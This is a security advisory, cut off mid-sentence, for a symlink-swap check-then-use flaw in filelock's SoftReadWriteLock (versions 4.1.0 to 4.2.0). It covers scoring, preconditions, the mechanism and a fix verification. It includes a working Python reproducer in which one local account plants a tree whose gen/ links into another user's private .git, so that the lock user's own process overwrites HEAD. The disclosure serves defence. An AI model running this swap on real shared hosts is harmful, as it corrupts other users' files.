GHSA-wfhq-q4j2-c37m

Description

`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) checks once per lock object, by name, that `<path>.rw`, `<path>.rw/gen` and `<path>.rw/holders` are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created `<path>.rw` first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose `gen` or `holders` is a symbolic link into a directory of the user running the lock (the lock user below). A long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in `0700` directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces `.git/HEAD` in the lock user's private repository so that `git status` fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-WXXRI4M4` [high, CWE-367], titled "SoftReadWriteLock follows gen dir swapped for a symlink after first acquire". ## Severity **CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).** `AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): the swap happens between two acquisitions, with no race to win. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): the lock user's process replaces a file named `HEAD`, creates `epoch` and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. `A:N` (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges. Classification from the external review: conditional security. It is a cross-user replacement of a cached `.rw` tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky `/tmp` or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies. ## Scope and preconditions - Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a `0777` scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own `0700` `<path>.rw` aside and puts its tree in place. In a sticky parent such as `/tmp` the extra precondition is that it created `<path>.rw` (with real `gen` and `holders` directories, mode `0777`) before the lock user's first acquire. `prepare()` accepts an existing tree whoever owns it, and the other user later replaces its own `gen` with a symbolic link. `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky `<path>.rw`, not in the sticky parent (the scanner ran with that setting). - Lock user: any process that keeps one `SoftReadWriteLock` or `AsyncSoftReadWriteLock` object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets `RuntimeError`. Between two acquisitions there is no timing to win. - Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (`/home/victim/project/.git` in the reproducer, under a `0700` home directory the other user cannot open). - Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only. - Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that. ## Affected code At the scanned commit `b831496b0273`, [`OsFiles.prepare` checks the three directories with `lstat` and caches `_prepared`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). `lstat` reports what a name is without following a symbolic link. Every later operation takes a full path string, for example [`create`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L53-L60) (`O_NOFOLLOW` on the last component only), [`replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L86-L92) (`Path(source).replace(target)`), [`unlink`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L104-L112) and [`listdir`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L114-L119). The callers that write through the swapped tree are [`Participant.publish` / `_create_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L435-L445), [`GenerationLog._incarnation`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L282-L295) (creates `epoch`), [`commit`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L344-L360) (links a generation record and renames over `HEAD`), [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496), [`_sweep`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L498) and [`_list`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L297) (unlink). There is one `OsFiles` per lock object ([`_sync.py` line 204](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L204)), handed to every `Participant` at [line 501](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L501). ## Introduced The once-per-object shortcut (`_prepared`) came with `367b111` ("fix(soft-rw): publish the head through gen/HEAD (#799)", 2026-10-08), first released in 4.1.0 (verified with `git tag --contains 367b111`, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent `61582c5` (also first in 4.1.0) a contender already waiting during the swap still creates `epoch` in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried `>= 4.0.0` as the union with a sibling finding; for this finding alone the range is `>= 4.1.0, <= 4.2.0`. ## Mechanism `prepare()` runs `mkdir(mode=0o700)` and then `lstat()` on each of `<path>.rw`, `gen` and `holders`. It raises `RuntimeError("... exists but is not a directory or is a symlink; refusing to use it")` for a symbolic link or non-directory. It does this by name, once per `OsFiles` (`if self._prepared and not force: return`), and only a `FileNotFoundError` while creating the holder record (the file that says this process holds or wants the lock) leads to `prepare(force=True)`. All other `OsFiles` methods (`read`, `create`, `link`, `replace`, `overwrite`, `unlink`, `listdir`) take a full path string such as `/srv/shared/app.lock.rw/gen/HEAD`. `O_NOFOLLOW` applies to `HEAD`, and the kernel follows `app.lock.rw` and `gen` to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object. The scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options `SoftReadWriteLock`, as two accounts in `/srv/shared` (root-owned, mode `0777`, no sticky bit): 1. `victim` runs a worker that builds `SoftReadWriteLock("/srv/shared/app.lock")` once and takes `write_lock()` for each job. After the first job, `app.lock.rw` exists, owned by `victim`, mode `0700`. 2. `attacker` renames `app.lock.rw` to `app.lock.rw.aside`, creates a new `app.lock.rw` with a world-writable `holders/` in it, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`. `/home/victim/project` is mode `0700`; the `attacker` account cannot open anything below it. 3. The worker takes the lock for its second job. `write_lock()` returns without error. `/home/victim/project/.git` now holds new files `epoch`, `00000000000000000001` and `00000000000000000002`, and `<epoch>\nfilelock-rw/1\ngeneration=2\n` has replaced the content of `.git/HEAD`. `git status` there answers `fatal: not a git repository`. The second acquisition, step by step: `Participant.publish()` calls `prepare()`, which returns at once, then creates `holders/<token>`. The planted tree has a writable `holders`, so this succeeds. `advance()` calls `GenerationLog.latest()` (the generation log is the lock's ordered record of write generations under `gen/`). `_incarnation()` reads `gen/epoch`, finds none behind the link, and creates `.git/epoch`. The epoch differs from the remembered one, so the code drops the remembered log. git's `HEAD` does not start with the new epoch, so `_head_record()` ignores it and the log reads as empty. `commit()` creates `.git/.commit-<token>`, hard-links it (a hard link is a second name for the same file) to `.git/00000000000000000001`, removes the temporary name, and publishes `HEAD` through `OsFiles.replace`, which is `rename(".git/.commit-<token>", ".git/HEAD")`. The release commits generation 2 the same way and renames over `HEAD` again. Other ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted `holders/` on its next poll (`_keep_claim_fresh()`), and the commit that follows replaces `HEAD` in the target. A process that only holds and releases, with the tree swapped during the hold, creates `epoch` in the target on release. With `holders` as the link, `Participant._sweep()` (run on acquire polls and from a holder's `heartbeat()`) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for `stale_threshold` (observed with `stale_threshold=2`; the default is 90 s). With `gen` as the link, `GenerationLog._list()` unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with `SoftFileLockProtocolError`. ## Reproduction The scanner's reproducer for finding `ANT-2026-WXXRI4M4`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`. **`repro`** ```python #!/usr/bin/env python3 import os import shutil import subprocess import sys from pathlib import Path SHARED = "/srv/shared" LOCK_TREE = f"{SHARED}/app.lock.rw" PROJECT = "/home/victim/project" HEAD = Path(PROJECT, ".git", "HEAD") AS_VICTIM = ["runuser", "-u", "victim", "--"] AS_ATTACKER = ["runuser", "-u", "attacker", "--"] VICTIM_WORKER = [*AS_VICTIM, sys.executable, "/tmp/repro.d/victim_worker.py"] ATTACKER_SWAP_TREE = [*AS_ATTACKER, sys.executable, "/tmp/repro.d/attacker_swap_tree.py"] # set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter shutil.rmtree(SHARED, ignore_errors=True) shutil.rmtree(PROJECT, ignore_errors=True) os.mkdir(SHARED) os.chmod(SHARED, 0o777) subprocess.run([*AS_VICTIM, "git", "init", "--quiet", PROJECT], check=True) os.chmod(PROJECT, 0o700) head_before = HEAD.read_text() print("SETUP HEAD:", repr(head_before)) attacker_opens_head = subprocess.run( [*AS_ATTACKER, sys.executable, "-c", f"open({str(HEAD)!r}, 'w')"], capture_output=True, text=True ) if attacker_opens_head.returncode == 0: sys.exit("setup: the attacker can write HEAD directly") print("CONTROL attacker opens HEAD for writing:", attacker_opens_head.stderr.strip().splitlines()[-1]) # the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw worker = subprocess.Popen(VICTIM_WORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True) worker.stdin.write("job 1\n") worker.stdin.flush() print("VICTIM ", worker.stdout.readline().strip()) tree = os.stat(LOCK_TREE) print("VICTIM app.lock.rw owner uid", tree.st_uid, "mode", oct(tree.st_mode & 0o777)) # attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git subprocess.run(ATTACKER_SWAP_TREE, check=True) print("ATTACK app.lock.rw/gen ->", os.readlink(f"{LOCK_TREE}/gen")) # control: a new lock object, in a new victim process, checks the planted tree and refuses it fresh_worker = subprocess.run(VICTIM_WORKER, input="job 1\n", capture_output=True, text=True) print("CONTROL new worker:", (fresh_worker.stdout + fresh_worker.stderr).strip().splitlines()[-1]) print("CONTROL HEAD after the new worker:", repr(HEAD.read_text())) # the same worker does job 2 with the lock object that passed the check at job 1 worker.stdin.write("job 2\n") worker.stdin.close() print("VICTIM ", worker.stdout.read().strip()) worker.wait() # check: HEAD of the victim's private repository must still be git's own head_after = HEAD.read_text() print("OBSERVED HEAD:", repr(head_after)) print("OBSERVED .git:", sorted(os.listdir(HEAD.parent))) git_status = subprocess.run([*AS_VICTIM, "git", "-C", PROJECT, "status"], capture_output=True, text=True) print("OBSERVED git status:", (git_status.stdout + git_status.stderr).strip().splitlines()[0]) print("BUG" if head_after != head_before and "filelock-rw/1" in head_after else "OK") ``` **`repro.d/attacker_swap_tree.py`** ```python import os LOCK_TREE = "/srv/shared/app.lock.rw" TARGET = "/home/victim/project/.git" # below a 0700 directory: this user can neither list nor write it # the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit) os.rename(LOCK_TREE, f"{LOCK_TREE}.aside") os.umask(0) os.mkdir(LOCK_TREE, 0o755) os.mkdir(f"{LOCK_TREE}/holders", 0o777) # writable, so the victim's holder record lands and nothing re-runs prepare() os.symlink(TARGET, f"{LOCK_TREE}/gen") ``` **`repro.d/victim_worker.py`** ```python import sys from filelock import SoftReadWriteLock lock = SoftReadWriteLock("/srv/shared/app.lock") for job in sys.stdin: with lock.write_lock(timeout=30): ... # the job's work on the shared resource print("victim: finished", job.strip(), "and released the lock", flush=True) ``` ## Attack sequence ```mermaid sequenceDiagram participant A as other local user participant W as worker of the lock user (one lock object) participant F as /srv/shared (0777, no sticky bit) participant T as /home/victim/project/.git (0700) rect rgb(255, 214, 214) Note over A,T: filelock 4.1.0 to 4.2.0 W->>F: job 1, write_lock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, _prepared = True W->>F: release, lock object kept A->>F: rename(app.lock.rw, app.lock.rw.aside) A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders W->>T: _incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001 W->>T: replace() renames .git/.commit-token over .git/HEAD W->>T: release commits generation 2 and renames over HEAD again Note over W,T: write_lock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository end ``` ## Evidence The scanner's reproducer runs as root, drops to `victim` and `attacker` through `runuser`, needs `git`, changes no sysctl, and takes about half a second. It creates `/srv/shared` (root-owned, `0777`, no sticky bit), has `victim` run `git init /home/victim/project` and makes that directory `0700`. It then drives two programs. `victim_worker.py` holds one `SoftReadWriteLock("/srv/shared/app.lock")` with default options; for each line on stdin it takes `write_lock(timeout=30)`, releases it and prints `finished <job> and released the lock`. `attacker_swap_tree.py` renames the lock user's `app.lock.rw` aside, creates a new one with a world-writable `holders/`, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`, using only write access to `/srv/shared`. On the scanned commit it prints: ``` CONTROL attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD' VICTIM victim: finished job 1 and released the lock VICTIM app.lock.rw owner uid 1000 mode 0o700 ATTACK app.lock.rw/gen -> /home/victim/project/.git CONTROL new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it CONTROL HEAD after the new worker: 'ref: refs/heads/master\n' VICTIM victim: finished job 2 and released the lock OBSERVED HEAD: '<epoch>\nfilelock-rw/1\ngeneration=2\n' OBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...] OBSERVED git status: fatal: not a git repository BUG ``` The `CONTROL` lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with `fs.protected_symlinks=1`. There the other account creates `app.lock.rw`, `gen` and `holders` with mode `0777` in a `1777` parent before the lock user's first acquire, then renames its own `gen` aside and links it to the lock user's `.git`. Our verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head: `OK`, `HEAD` stays `ref: refs/heads/master`, `.git` keeps its original listing and `git status` answers `On branch master`. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree. ## Impact With the lock user's privileges, in any directory the lock user can wri